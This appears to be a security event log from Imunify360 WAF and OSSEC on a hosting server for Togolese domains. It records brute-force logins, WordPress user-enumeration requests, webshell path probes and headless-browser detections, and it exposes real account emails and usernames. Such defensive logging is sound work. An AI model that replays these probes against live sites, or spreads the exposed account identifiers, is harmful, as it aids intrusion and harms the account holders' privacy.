description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/146.56.180.42:3333/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.168.127.35
country_id: 2363686
domain: www.letabloid.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 43.156.44.207
country_id: 1880251
domain: www.ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sanlam.com||User:egjvuiox||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 13 11:52:15 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 142.44.214.106
country_id: 6251999
domain: snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.133.97.153
country_id: 6252001
description:
Jun 13 11:53:31 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.133.97.153 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.188
country_id: 1880251
description:
47.128.96.188 - - [13/Jun/2026:11:54:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198421&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fismac%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781351697 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ismac/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.188


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 13 11:55:16 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 146.19.140.183
country_id: 174982
domain: www.butodra.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:DdWiN@CZ3v47.www.butodra.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.198.69.149
country_id: 6252001
domain: www.dev.centif.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: www.shop.soena.tg
description:


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: www.soenatechno.soena.tg
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.52
country_id: 6252001
description:
205.169.39.52 - - [13/Jun/2026:12:07:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986452&pdata=http%253A%252F%252Fwww.snbtogo.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781352451 HTTP/1.1" 302 0 www.snbtogo.snb.tg "http://www.snbtogo.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.52


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.86
country_id: 690791
description:
Jun 13 12:08:57 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.86 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.92.85.91
country_id: 1522867
description:
[2026-06-13 12:09:21 +0000] info [cpaneld] 45.92.85.91 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.10.151
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/index.php/wp-json/wp/v2/users/3?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.221.2.119
country_id: 1835841
description:
Jun 13 12:10:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.221.2.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.221.2.119
country_id: 1835841
description:
2026-06-13 12:10:37 dovecot_login authenticator failed for H=(91.244.113.178.wirenet.tv) [211.221.2.119]:54750: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:10:27 ns5 pure-ftpd[2393420]: (?@45.38.18.148) [WARNING] Authentication failed for user [e.carine]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.107
country_id: 3469034
description:
Jun 13 12:10:26 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.107 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.202.207.171
country_id: 2233387
description:
41.202.207.171 - - [13/Jun/2026:12:11:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646685&pdata=https%253A%252F%252Fcogerisq.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781352702 HTTP/2.0" 302 0 cogerisq.tg "https://cogerisq.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.202.207.171


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.28.156.216
country_id: 1819730
description:
Jun 13 12:12:43 ns5 pure-ftpd[2395342]: (?@104.28.156.216) [INFO] New connection from 104.28.156.216


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 104.28.156.216
country_id: 1819730
description:
Jun 13 12:12:50 ns5 pure-ftpd[2395342]: (?@104.28.156.216) [WARNING] Authentication failed for user [rolle]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.156.216
country_id: 1819730
description:
[2026-06-13 12:12:49 +0000] info [cpaneld] 104.28.156.216 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 112.86.225.117
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2346||QS:add-to-cart=2346||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.81.66.187
country_id: 1643084
description:
[2026-06-13 12:14:16 +0000] info [cpaneld] 103.81.66.187 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.190.3.173
country_id: 6252001
description:
198.190.3.173 - - [13/Jun/2026:12:17:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908774&pdata=https%253A%252F%252Fchuso.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781353037 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.190.3.173


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 64.62.156.162
country_id: 6252001
domain: 154.70.82.246
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/135.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.238.178.6
country_id: 3469034
description:
Jun 13 12:19:21 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.238.178.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.238.178.6
country_id: 3469034
description:
2026-06-13 12:19:23 dovecot_login authenticator failed for H=([187.8.89.114]) [186.238.178.6]:41483: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.233
country_id: 130758
domain: tensai.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.16||T:APACHE||MV:/images/images/cache.php||SC:/home/ulduzncs/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.233
country_id: 130758
domain: tensai.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.16||T:APACHE||MV:/images/images/images/images/images/images/cache.php||SC:/home/ulduzncs/public_html/images||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.19.62.225
country_id: 6252001
domain: caissederetraites.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 169.150.222.72
country_id: 1819730
description:
Jun 13 12:21:55 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 169.150.222.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.150.222.72
country_id: 1819730
description:
2026-06-13 12:21:57 dovecot_plain authenticator failed for H=(ggzfm8073hmoc6po7oqz6) [169.150.222.72]:12461: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:27:39 ns5 pure-ftpd[2404970]: (?@45.38.18.148) [WARNING] Authentication failed for user [netmastersarl]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:28:40 ns5 pure-ftpd[2405596]: (?@45.38.18.148) [WARNING] Authentication failed for user [netmast]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.68.226.171
country_id: 3017382
description:
Jun 13 12:28:44 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.68.226.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-06-13 12:28:46 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net ([36.135.103.29]) [51.68.226.171]:36992: 535 Incorrect authentication data (set_id=it@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.162.13
country_id: 6252001
description:
[2026-06-13 12:31:25 +0000] info [cpaneld] 136.227.162.13 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:32:00 ns5 pure-ftpd[2408711]: (?@45.38.18.148) [WARNING] Authentication failed for user [masfloy]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 58.186.167.110
country_id: 1562822
description:
[2026-06-13 12:34:52 +0000] info [cpaneld] 58.186.167.110 - unive "GET /login/?login_only=1&user=unive&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user unive (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.38.96.188
country_id: 2921044
description:
[2026-06-13 12:34:55 +0000] info [cpaneld] 91.38.96.188 - univ "GET /login/?login_only=1&user=univ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user univ (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.178.35.225
country_id: 2464461
description:
[2026-06-13 12:35:02 +0000] info [cpaneld] 196.178.35.225 - un "GET /login/?login_only=1&user=un&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user un (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 12:35:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.187.18
country_id: 3996063
description:
[2026-06-13 12:34:36 +0000] info [cpaneld] 187.190.187.18 - universco "GET /login/?login_only=1&user=universco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user universco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.185.97
country_id: 3658394
description:
[2026-06-13 12:34:40 +0000] info [cpaneld] 157.100.185.97 - universc "GET /login/?login_only=1&user=universc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user universc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.131.189.41
country_id: 3469034
description:
[2026-06-13 12:34:47 +0000] info [cpaneld] 177.131.189.41 - univer "GET /login/?login_only=1&user=univer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user univer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.38.248.241
country_id: 1282988
description:
[2026-06-13 12:34:58 +0000] info [cpaneld] 103.38.248.241 - uni "GET /login/?login_only=1&user=uni&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user uni (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.44
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:206.232.103.44||TA:206.232.103.44||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-37.213.32.21.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.72.225
country_id: 1643084
description:
Jun 13 12:38:16 ns5 pure-ftpd[2413213]: (?@81.171.72.225) [WARNING] Authentication failed for user [aogodmm]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 147.124.198.158
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:147.124.198.158||TA:147.124.198.158||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.177.40.29
country_id: 2017370
description:
Jun 13 12:39:39 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.177.40.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.177.40.29
country_id: 2017370
description:
2026-06-13 12:39:41 dovecot_login authenticator failed for H=([49.124.148.204]) [178.177.40.29]:57540: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.27.228.68
country_id: 298795
description:
2026-06-13 12:39:45 dovecot_plain authenticator failed for H=(i8sjxcmp0t1xk2qstfd) [5.27.228.68]:39362: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.72.225
country_id: 1643084
description:
Jun 13 12:40:36 ns5 pure-ftpd[2414841]: (?@81.171.72.225) [WARNING] Authentication failed for user [esso]


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 195.63.3.43
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.72.225
country_id: 1643084
description:
Jun 13 12:42:11 ns5 pure-ftpd[2416272]: (?@81.171.72.225) [WARNING] Authentication failed for user [tresorerie]


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=100&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.227.59.135
country_id: 3996063
description:
[2026-06-13 12:45:32 +0000] info [cpaneld] 177.227.59.135 - rel "GET /login/?login_only=1&user=rel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.25.106.137
country_id: 2017370
description:
[2026-06-13 12:45:34 +0000] info [cpaneld] 95.25.106.137 - re "GET /login/?login_only=1&user=re&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user re (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:45:23 ns5 pure-ftpd[2418412]: (?@45.38.18.148) [WARNING] Authentication failed for user [radiotogocomtg]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.72.225
country_id: 1643084
description:
Jun 13 12:48:50 ns5 pure-ftpd[2420531]: (?@81.171.72.225) [WARNING] Authentication failed for user [arsetg]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.250.115.173
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/3d322f HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.1.77
country_id: 2363686
description:
[2026-06-13 12:51:43 +0000] info [webmaild] 196.170.1.77 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.26.185.143
country_id: 6252001
description:
34.26.185.143 - - [13/Jun/2026:12:52:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7521177&pdata=https%253A%252F%252Ftogointerim.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781355135 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36 PTST/260602.124101" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.26.185.143


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 34.106.90.90
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"149\", \"google chrome\";v=\"149\"||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.238.175.79
country_id: 6252001
domain: tps.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.26.185.143
country_id: 6252001
description:
34.26.185.143 - - [13/Jun/2026:12:53:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013644&pdata=https%253A%252F%252Ftogointerim.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781355196 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36 PTST/260602.124101" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.26.185.143


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.192.225.197
country_id: 357994
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/98401245 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.1.77
country_id: 2363686
description:
[2026-06-13 12:55:55 +0000] info [webmaild] 196.170.1.77 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 4.154.177.79
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid char in json text.\n||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.154.177.79
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.43.243.170
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/370461910 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.195.210.170
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/598635 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 176.65.148.160
country_id: 2750405
description:
[2026-06-13 13:01:08 +0000] info [whostmgrd] 176.65.148.160 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.65.148.160
country_id: 2750405
description:
[2026-06-13 13:01:02 +0000] info [whostmgrd] 176.65.148.160 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.65.148.160
country_id: 2750405
description:
[2026-06-13 13:01:20 +0000] info [whostmgrd] 176.65.148.160 - root "GET /cpsess6299714781/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.20.129
country_id: 2750405
description:
158.173.20.129 - - [13/Jun/2026:13:01:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856359&pdata=http%253A%252F%252Fwages.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781355683 HTTP/1.1" 302 0 wages.tg "http://wages.tg/" "Mozilla/5.0 (Linux; arm_64; Android 15; 2311DRK48G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.64 YaSearchBrowser/26.44.1 BroPP/1.0 YaSearchApp/26.44.1 webOmni Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.20.129


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.155.21.215
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/486208489 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [13/Jun/2026:13:03:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868231&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsuper-lig%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781355831 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/super-lig/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.92.129
country_id: 6252001
description:
[2026-06-13 13:04:20 +0000] info [cpaneld] 134.199.92.129 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 13:05:51 +0000] info [cpaneld] 45.61.130.187 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 192.3.24.135
country_id: 6252001
domain: launetogo.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: Invalid Content-Disposition header (-14): form-data; name=\"result[_msg]\\\\\";filename=\";name=\"result[_msg]\".||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-07.213.32.21.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.107
country_id: 3865483
description:
Jun 13 13:09:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.107 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 111.225.148.80
country_id: 1814991
domain: tdn.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.74.3.87
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-13.45.74.3.87||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.180.181
country_id: 6252001
description:
